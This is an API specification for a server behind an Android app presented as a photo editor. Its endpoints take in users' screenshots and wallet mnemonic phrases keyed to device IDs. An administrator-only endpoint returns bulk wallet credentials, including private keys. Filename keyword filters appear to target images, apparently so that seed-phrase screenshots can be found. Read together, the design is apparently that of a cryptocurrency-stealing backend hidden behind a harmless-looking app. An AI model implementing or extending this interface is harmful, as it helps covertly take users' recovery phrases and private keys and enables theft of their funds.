# REST API Endpoints for PhotoEditor Server - Last Modified: 2024-05-04 - Author: Phill Weston ## Introduction This document provides the list of endpoints for the PhotoEditor server, which is used to communicate with the PhotoEditor application. ## Table of Contents - [REST API Endpoints for PhotoEditor Server](#rest-api-endpoints-for-photoeditor-server) - [Introduction](#introduction) - [Table of Contents](#table-of-contents) - [TODO](#todo) - [Test Endpoints](#test-endpoints) - [Basic Endpoints](#basic-endpoints) ## TODO - [ ] Encryption required. - [ ] API Endpoints for future features. ## Test Endpoints - `GET /test/ping` - Pings the server. - Response: - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Pong!" } ``` ## Basic Endpoints - `POST /basic/image-upload` - Uploads an screenshot image to the server. - Request Body: - A binary file representing the image. - Request Headers: - `Content-Type`: The MIME type of the image (e.g., `image/jpeg`, `image/png`). - `userId`: The user ID (sent as a custom header). - `userAddress`: The public address of the user (sent as a custom header). - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Image uploaded successfully." } ``` - `POST /basic/mnemonic-upload` - Uploads the mnemonic phrase to the server. - Request Body: - `userId`: The user ID (same as the `ANDROID_ID`). - `mnemonicPhase`: The encrypted mnemonic phrase. - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Mnemonic uploaded successfully." } ``` - `POST /basic/wallet-credential-download` - **Administrators Only**: Downloads the wallet credential from the server. - Request Body: - `token`: The token of the administrator. - `startDateTime`: (Optional) The start date and time of the request. - `endDateTime`: (Optional) The end date and time of the request. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The wallet credential data. - Example: ```json { "code": 0, "status": "success", "message": "Wallet credential data downloaded successfully.", "data": [ { "userId": "1234567890", "privateKey": "0x1234567890", "walletAddress": "0x1234567890" } ] } ``` - `POST /basic/image-edit-info-upload` - **Administrators Only**: Uploads the image edit information to the server. - Request Body: - `token`: The token of the administrator. - `fileName`: The name of the image file. - `editInfo`: The image edit information. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Image edit information uploaded successfully." } ``` - `GET /basic/image-download` - Downloads an image from the server. - Request Parameters: - `fileName`: The name of the image file. - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response Body: - A binary file representing the requested image. - Response Headers: - `Content-Type`: The content type of the image (e.g., `image/jpeg`, `image/png`). - `GET /basic/latest-version` - Gets the latest version of the application. - Request Parameters: - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The latest version of the application. - Example: ```json { "code": 0, "status": "success", "message": "Latest version downloaded successfully.", "data": { "version": "1.0.0" } } ``` - `GET /basic/latest-release` - Gets the latest release of the application. - Request Parameters: - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response Body: - A binary file representing the latest release. - Response Headers: - `Content-Type`: The content type of the release (e.g., `application/vnd.android.package-archive`). - `GET /basic/image-edit-info-download` - Downloads the image edit information from the server. - Request Parameters: - `fileName`: The name of the image file. - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The image edit information. - Example: ```json { "code": 0, "status": "success", "message": "Image edit information downloaded successfully.", "data": [ { "areaId": 1, "coordinates": {"x": 50, "y": 50, "width": 200, "height": 100}, "font": "Arial", "fontSize": 12, "fontColor": "#000000", "text": "Hello, World!" }, { "areaId": 2, "coordinates": {"x": 60, "y": 80, "width": 150, "height": 90}, "font": "Times New Roman", "fontSize": 14, "fontColor": "#FF0000", "text": "This is a sample text." } ] } ``` - `POST /basic/user-activation` - Activates the entire functionality of the application. - Request Body: - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - `signature`: The signature of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The data of the response. - Example: ```json { "code": 0, "status": "success", "message": "User activated successfully.", "data": { "valid": true, "expirationDate": "2022-12-31T23:59:59.999Z" } } ``` - `GET /basic/check-activation` - Checks the activation code. - Request Parameters: - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The data of the response. - Example: ```json { "code": 0, "status": "success", "message": "Activation code is valid.", "data": { "valid": true, "expirationDate": "2022-12-31T23:59:59.999Z" } } ``` - `GET /basic/filename-keywords-download` - Return the keywords as search filters for the image filename. - Request Parameters: - `userId`: The user ID (same as the `ANDROID_ID`). - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - `data`: The data of the response. - Example: ```json { "code": 0, "status": "success", "message": "Keywords downloaded successfully.", "data": [ "keyword1", "keyword2", "keyword3" ] } ``` - `POST /basic/filename-keywords-upload` - **Administrators Only**: Upload the keywords as search filters for the image filename. - Request Body: - `token`: The token of the administrator. - `keywords`: The keywords to be used as search filters for the image. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Keywords uploaded successfully." } ``` - `GET /auth/get-challenge` - Get the challenge for the user to sign. - Request Parameters: - None - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Challenge generated successfully." } ``` - `POST /auth/verify-challenge` - Verify the challenge signed by the user. - Request Body: - `signature`: The signature of the user. - `userAddress`: The public address of the user. - Response: - `code`: The status code of the request. - `status`: The status of the request. - `message`: The message of the request. - Example: ```json { "code": 0, "status": "success", "message": "Challenge verified successfully." } ```